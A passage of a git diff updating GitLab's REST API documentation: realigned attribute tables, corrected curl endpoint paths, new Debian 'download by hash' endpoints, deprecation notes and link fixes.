-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | -| `name` | string | **{check-circle}** Yes | The name of the approval rule. | -| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | -| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. | -| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | -| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | +| Attribute | Type | Required | Description | +|------------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | +| `name` | string | **{check-circle}** Yes | The name of the approval rule. | +| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | +| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. | +| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | +| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | ```json { @@ -1051,11 +1054,11 @@ These are system generated rules. Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|---------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ## Approve merge request @@ -1070,12 +1073,12 @@ POST /projects/:id/merge_requests/:merge_request_iid/approve Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|-------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_password` | string | **{dotted-circle}** No | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-user-password-to-approve) is enabled in the project settings. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | -| `sha` | string | **{dotted-circle}** No | The `HEAD` of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_password` | string | **{dotted-circle}** No | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-user-password-to-approve) is enabled in the project settings. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| `sha` | string | **{dotted-circle}** No | The `HEAD` of the merge request. | The `sha` parameter works in the same way as when [accepting a merge request](merge_requests.md#merge-a-merge-request): if it is passed, then it must @@ -1133,7 +1136,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/unapprove Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|---------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md index 5843a10ca59..3ef5d3420c1 100644 --- a/doc/api/merge_requests.md +++ b/doc/api/merge_requests.md @@ -637,7 +637,7 @@ Supported attributes: | `created_at` | datetime | Timestamp of when the merge request was created. | | `description` | string | Description of the merge request. Contains Markdown rendered as HTML for caching. | | `detailed_merge_status` | string | Detailed merge status of the merge request. Read [merge status](#merge-status) for a list of potential values. | -| `diff_refs` | object | References of the base SHA, the head SHA, and the start SHA for this merge request. Corresponds to the latest diff version of the merge request. | +| `diff_refs` | object | References of the base SHA, the head SHA, and the start SHA for this merge request. Corresponds to the latest diff version of the merge request. Empty when the merge request is created, and populates asynchronously. See [Empty `diff_refs` for new merge requests](#empty-diff_refs-for-new-merge-requests). | | `discussion_locked` | boolean | Indicates if comments on the merge request are locked to members only. | | `downvotes` | integer | Number of downvotes for the merge request. | | `draft` | boolean | Indicates if the merge request is a draft. | @@ -652,7 +652,7 @@ Supported attributes: | `latest_build_finished_at` | datetime | Timestamp of when the latest build for the merge request finished. | | `latest_build_started_at` | datetime | Timestamp of when the latest build for the merge request started. | | `merge_commit_sha` | string | SHA of the merge request commit. Returns `null` until merged. | -| `merge_error` | string | Error message due to a merge error. | +| `merge_error` | string | Error message shown when a merge has failed. To check mergeability, use `detailed_merge_status` instead | | `merge_user` | object | The user who merged this merge request, the user who set it to merge when pipeline succeeds, or `null`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/349031) in GitLab 14.7. | | `merge_status` | string | Status of the merge request. Can be `unchecked`, `checking`, `can_be_merged`, `cannot_be_merged`, or `cannot_be_merged_recheck`. Affects the `has_conflicts` property. For important notes on response data, read [Single merge request response notes](#single-merge-request-response-notes). [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/3169#note_1162532204) in GitLab 15.6. Use `detailed_merge_status` instead. | | `merge_when_pipeline_succeeds` | boolean | Indicates if the merge has been set to be merged when its pipeline succeeds. | @@ -671,7 +671,7 @@ Supported attributes: | `squash` | boolean | Indicates if squash on merge is enabled. | | `squash_commit_sha` | string | SHA of the squash commit. Empty until merged. | | `state` | string | State of the merge request. Can be `opened`, `closed`, `merged` or `locked`. | -| `subscribed` | boolean | Indicates if the currently logged in user is subscribed to this merge request. | +| `subscribed` | boolean | Indicates if the currently authenticated user is subscribed to this merge request. | | `target_branch` | string | Target branch of the merge request. | | `target_project_id` | integer | ID of the merge request target project. | | `task_completion_status` | object | Completion status of tasks. | @@ -986,7 +986,7 @@ returned by the API or viewed via the UI. When these limits impact the results, field contains a value of `true`. Diff data without these limits applied can be retrieved by adding the `access_raw_diffs` parameter, accessing diffs not from the database but from Gitaly directly. This approach is generally slower and more resource-intensive, but isn't subject to size limits -placed on database-backed diffs. [Limits inherent to Gitaly](../development/diffs.md#diff-limits) +placed on database-backed diffs. [Limits inherent to Gitaly](../development/merge_request_concepts/diffs/index.md#diff-limits) still apply. ```plaintext @@ -2913,3 +2913,14 @@ For approvals, see [Merge request approvals](merge_request_approvals.md) To track which state was set, who did it, and when it happened, check out [Resource state events API](resource_state_events.md#merge-requests). + +## Troubleshooting + +### Empty `diff_refs` for new merge requests + +When a merge request is created, the `diff_refs` field is initially empty. This field +is populated asynchronously after the merge request is created. For more +information, see the issue +[`diff_refs` empty after merge request is created](https://gitlab.com/gitlab-org/gitlab/-/issues/386562), +and the [related discussion](https://forum.gitlab.com/t/diff-refs-empty-after-mr-is-created/78975) +in the GitLab forums. diff --git a/doc/api/metadata.md b/doc/api/metadata.md index c3cbae70a54..92f7177482a 100644 --- a/doc/api/metadata.md +++ b/doc/api/metadata.md @@ -6,7 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Metadata API **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/357032) in GitLab 15.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/357032) in GitLab 15.2. +> - `enterprise` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/103969) in GitLab 15.6. Retrieve metadata information for this GitLab instance. diff --git a/doc/api/notes.md b/doc/api/notes.md index 188d2697e6d..44bd7624022 100644 --- a/doc/api/notes.md +++ b/doc/api/notes.md @@ -174,7 +174,7 @@ Parameters: | `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0. The confidential flag of a note. Default is false. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes?body=note" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes/636?body=note" ``` ### Delete an issue note @@ -300,7 +300,7 @@ Parameters: | `body` | string | yes | The content of a note. Limited to 1,000,000 characters. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/notes?body=note" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/notes/1659?body=note" ``` ### Delete a snippet note @@ -428,7 +428,7 @@ Parameters: | `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0. The confidential flag of a note. Default is false. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/notes?body=note" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/notes/1?body=note" ``` ### Delete a merge request note @@ -561,7 +561,7 @@ Parameters: | `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0. The confidential flag of a note. Default is false. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/notes?body=note" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/notes/1?body=note" ``` ### Delete an epic note diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md index 371e3f9ae47..3e470c5cb91 100644 --- a/doc/api/oauth2.md +++ b/doc/api/oauth2.md @@ -59,7 +59,7 @@ resources which the `application` can access. Upon creation, you obtain the **must be kept secure**. It is also advantageous to keep the _Application ID_ secret when your application architecture allows. -For a list of scopes in GitLab, see [the provider documentation](../integration/oauth_provider.md#authorized-applications). +For a list of scopes in GitLab, see [the provider documentation](../integration/oauth_provider.md#view-all-authorized-applications). ### Prevent CSRF attacks @@ -116,7 +116,7 @@ Before starting the flow, generate the `STATE`, the `CODE_VERIFIER` and the `COD This page asks the user to approve the request from the app to access their account based on the scopes specified in `REQUESTED_SCOPES`. The user is then - redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#authorized-applications) + redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#view-all-authorized-applications) is a space-separated list of scopes associated with the user. For example,`scope=read_user+profile` requests the `read_user` and `profile` scopes. The redirect includes the authorization `code`, for example: @@ -196,7 +196,7 @@ be used as a CSRF token. This page asks the user to approve the request from the app to access their account based on the scopes specified in `REQUESTED_SCOPES`. The user is then - redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#authorized-applications) + redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#view-all-authorized-applications) is a space-separated list of scopes associated with the user. For example,`scope=read_user+profile` requests the `read_user` and `profile` scopes. The redirect includes the authorization `code`, for example: @@ -352,7 +352,7 @@ curl --header "Authorization: Bearer OAUTH-TOKEN" "https://gitlab.example.com/ap ## Access Git over HTTPS with `access token` -A token with [scope](../integration/oauth_provider.md#authorized-applications) +A token with [scope](../integration/oauth_provider.md#view-all-authorized-applications) `read_repository` or `write_repository` can access Git over HTTPS. Use the token as the password. The username must be `oauth2`, not your username: @@ -417,7 +417,7 @@ Standard OAuth 2.0 tokens support different degrees of access to GitLab registries, as they: - Do not allow users to authenticate to: - - The GitLab [Container registry](../user/packages/container_registry/index.md#authenticate-with-the-container-registry). + - The GitLab [Container registry](../user/packages/container_registry/authenticate_with_container_registry.md). - Packages listed in the GitLab [Package registry](../user/packages/package_registry/index.md). - Allow users to get, list, and delete registries through the [Container registry API](container_registry.md). diff --git a/doc/api/packages/debian.md b/doc/api/packages/debian.md index 88baf760973..bfed66a6579 100644 --- a/doc/api/packages/debian.md +++ b/doc/api/packages/debian.md @@ -85,14 +85,14 @@ GET projects/:id/packages/debian/pool/:distribution/:letter/:package_name/:packa | `file_name` | string | yes | The filename. | ```shell -curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" ``` Write the output to a file: ```shell curl --header "Private-Token: <personal_access_token>" \ - "https://gitlab.example.com/api/v4/projects/1/packages/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" \ + "https://gitlab.example.com/api/v4/projects/1/packages/debian/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" \ --remote-name ``` @@ -242,6 +242,37 @@ curl --header "Private-Token: <personal_access_token>" \ This writes the downloaded file using the remote filename in the current directory. +## Download a packages index by hash + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96947) in GitLab 15.4. + +Download a packages index by hash. + +```plaintext +GET <route-prefix>/dists/*distribution/:component/binary-:architecture/by-hash/SHA256/:file_sha256 + +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `distribution` | string | yes | The codename or suite of the Debian distribution. | +| `component` | string | yes | The distribution component name. | +| `architecture` | string | yes | The distribution architecture type. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" +``` + +Write the output to a file: + +```shell +curl --header "Private-Token: <personal_access_token>" \ + "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" \ + --remote-name +``` + +This writes the downloaded file using the remote filename in the current directory. + ## Download a Debian Installer packages index > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71918) in GitLab 15.4. @@ -272,6 +303,36 @@ curl --header "Private-Token: <personal_access_token>" \ This writes the downloaded file using the remote filename in the current directory. +## Download a Debian Installer packages index by hash + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96947) in GitLab 15.4. + +Download a Debian Installer packages index by hash. + +```plaintext +GET <route-prefix>/dists/*distribution/:component/debian-installer/binary-:architecture/by-hash/SHA256/:file_sha256 +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `distribution` | string | yes | The codename or suite of the Debian distribution. | +| `component` | string | yes | The distribution component name. | +| `architecture` | string | yes | The distribution architecture type. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/debian-installer/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" +``` + +Write the output to a file: + +```shell +curl --header "Private-Token: <personal_access_token>" \ + "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/debian-installer/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" \ + --remote-name +``` + +This writes the downloaded file using the remote filename in the current directory. + ## Download a source packages index > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71918) in GitLab 15.4. @@ -300,3 +361,32 @@ curl --header "Private-Token: <personal_access_token>" \ ``` This writes the downloaded file using the remote filename in the current directory. + +## Download a source packages index by hash + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96947) in GitLab 15.4. + +Download a source packages index by hash. + +```plaintext +GET <route-prefix>/dists/*distribution/:component/source/by-hash/SHA256/:file_sha256 +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `distribution` | string | yes | The codename or suite of the Debian distribution. | +| `component` | string | yes | The distribution component name. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/source/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" +``` + +Write the output to a file: + +```shell +curl --header "Private-Token: <personal_access_token>" \ + "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/source/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" \ + --remote-name +``` + +This writes the downloaded file using the remote filename in the current directory. diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md index a14f385cdb5..fe3b2e2a3fb 100644 --- a/doc/api/project_import_export.md +++ b/doc/api/project_import_export.md @@ -135,7 +135,8 @@ POST /projects/import | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `namespace` | integer/string | no | The ID or path of the namespace to import the project to. Defaults to the current user's namespace | +| `namespace` | integer/string | no | The ID or path of the namespace to import the project to. Defaults to the current user's namespace. Requires at least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was +[deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. | | `name` | string | no | The name of the project to be imported. Defaults to the path of the project if not provided | | `file` | string | yes | The file to be uploaded | | `path` | string | yes | Name and path for new project | diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md index 429cb97c404..bed4d4c9d88 100644 --- a/doc/api/project_repository_storage_moves.md +++ b/doc/api/project_repository_storage_moves.md @@ -8,9 +8,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31285) in GitLab 13.0. -Project repositories including wiki and design repositories can be moved between storages. This can be useful when -[migrating to Gitaly Cluster](../administration/gitaly/index.md#migrate-to-gitaly-cluster), -for example. +Project repositories including wiki and design repositories can be moved between storages. This API can help you when +[migrating to Gitaly Cluster](../administration/gitaly/index.md#migrate-to-gitaly-cluster), for example. As project repository storage moves are processed, they transition through different states. Values of `state` are: @@ -250,6 +249,8 @@ Example response: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47142) in GitLab 13.7. Schedules repository storage moves for each project repository stored on the source storage shard. +This endpoint migrates all projects at once. For more information, see +[Move all projects](../administration/operations/moving_repositories.md#move-all-projects). ```plaintext POST /project_repository_storage_moves diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md index afb7519d5f3..95477cdc765 100644 --- a/doc/api/project_snippets.md +++ b/doc/api/project_snippets.md @@ -1,6 +1,6 @@ --- stage: Create -group: Editor +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -16,7 +16,7 @@ Constants for snippet visibility levels are: | visibility | Description | | ---------- | ----------- | | `private` | The snippet is visible only to project members | -| `internal` | The snippet is visible for any logged in user except [external users](../user/admin_area/external_users.md) | +| `internal` | The snippet is visible for any authenticated user except [external users](../user/admin_area/external_users.md) | | `public` | The snippet can be accessed without any authentication | NOTE: diff --git a/doc/api/projects.md b/doc/api/projects.md index 9ddb58b1436..d14ed007dca 100644 --- a/doc/api/projects.md +++ b/doc/api/projects.md @@ -1,6 +1,6 @@ --- -stage: Plan -group: Project Management +stage: Manage +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -16,7 +16,7 @@ The visibility level is determined by the `visibility` field in the project. Values for the project visibility level are: - `private`: project access must be granted explicitly to each user. -- `internal`: the project can be cloned by any signed-in user except [external users](../user/admin_area/external_users.md). +- `internal`: the project can be cloned by any authenticated user except [external users](../user/admin_area/external_users.md). - `public`: the project can be accessed without any authentication. For more, read [Project visibility](../user/public_access.md). @@ -109,9 +109,7 @@ Example response: "ssh_url_to_repo": "git@gitlab.example.com:diaspora/diaspora-client.git", "http_url_to_repo": "https://gitlab.example.com/diaspora/diaspora-client.git", "web_url": "https://gitlab.example.com/diaspora/diaspora-client", - "readme_url": "https://gitlab.example.com/diaspora/diaspora-client/blob/master/README.md", "avatar_url": "https://gitlab.example.com/uploads/project/avatar/4/uploads/avatar.png", - "forks_count": 0, "star_count": 0, "last_activity_at": "2013-09-30T13:46:02Z", "namespace": { @@ -210,7 +208,6 @@ When the user is authenticated and `simple` is not set this returns something li "builds_access_level": "enabled", "snippets_access_level": "enabled", "pages_access_level": "enabled", - "operations_access_level": "enabled", "analytics_access_level": "enabled", "container_registry_access_level": "enabled", "security_and_compliance_access_level": "private", @@ -1244,7 +1241,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your-token>" \ | `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). | | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful pipelines. This setting is named [**Pipelines must succeed**](../user/project/merge_requests/merge_when_pipeline_succeeds.md#require-a-successful-pipeline-for-merge) in the project settings. | -| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | +| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/385798) in GitLab 15.8. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | | `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. | | `printing_merge_request_link_enabled` | boolean | **{dotted-circle}** No | Show link to create/view merge request when pushing from the command line. | @@ -1266,7 +1263,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your-token>" \ | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | | `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | | `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. | -| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. | +| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/index.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. | | `template_project_id` **(PREMIUM)** | integer | **{dotted-circle}** No | When used with `use_custom_template`, project ID of a custom project template. This is preferable to using `template_name` since `template_name` may be ambiguous. | | `topics` | array | **{dotted-circle}** No | The list of topics for a project; put array of topics, that should be finally assigned to a project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ | | `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. | @@ -1327,7 +1324,7 @@ POST /projects/user/:user_id | `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). | | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. | -| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | +| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/385798) in GitLab 15.8. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | | `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. | | `path` | string | **{dotted-circle}** No | Custom repository name for new project. By default generated based on name. | @@ -1348,12 +1345,12 @@ POST /projects/user/:user_id | `shared_runners_enabled` | boolean | **{dotted-circle}** No | Enable shared runners for this project. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | -| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/repository/web_editor.md#create-a-new-branch-from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | +| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/merge_requests/creating_merge_requests.md#from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | | `squash_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create squash commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345275) in GitLab 14.6.)_ | | `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | | `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request [suggestions](../user/project/merge_requests/reviews/suggestions.md). | | `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. | -| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. | +| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/index.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. | | `topics` | array | **{dotted-circle}** No | The list of topics for the project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ | | `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. | | `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). | @@ -1435,7 +1432,7 @@ Supported attributes: | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. | | `only_mirror_protected_branches` **(PREMIUM)** | boolean | **{dotted-circle}** No | Only mirror protected branches. | -| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | +| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/385798) in GitLab 15.8. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | | `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. | | `path` | string | **{dotted-circle}** No | Custom repository name for the project. By default generated based on name. | @@ -1458,7 +1455,7 @@ Supported attributes: | `shared_runners_enabled` | boolean | **{dotted-circle}** No | Enable shared runners for this project. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | -| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/repository/web_editor.md#create-a-new-branch-from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | +| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/merge_requests/creating_merge_requests.md#from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | | `squash_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create squash commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345275) in GitLab 14.6.)_ | | `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | | `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request suggestions. | @@ -2888,7 +2885,14 @@ Example response: ## Configure pull mirroring for a project **(PREMIUM)** -> Moved to GitLab Premium in 13.9. +> - Moved to GitLab Premium in GitLab 13.9. +> - Field `mirror_branch_regex` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/102608) in GitLab 15.8 [with a flag](../administration/feature_flags.md) named `mirror_only_branches_match_regex`. Disabled by default. + +FLAG: +On self-managed GitLab, by default the field `mirror_branch_regex` is not available. +To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) +named `mirror_only_branches_match_regex`. +On GitLab.com, this feature is not available. Configure pull mirroring while [creating a new project](#create-project) or [updating an existing project](#edit-project) using the API @@ -2906,6 +2910,7 @@ with the API scope enabled. | `mirror` | boolean | **{check-circle}** Yes | Enables pull mirroring on project when set to 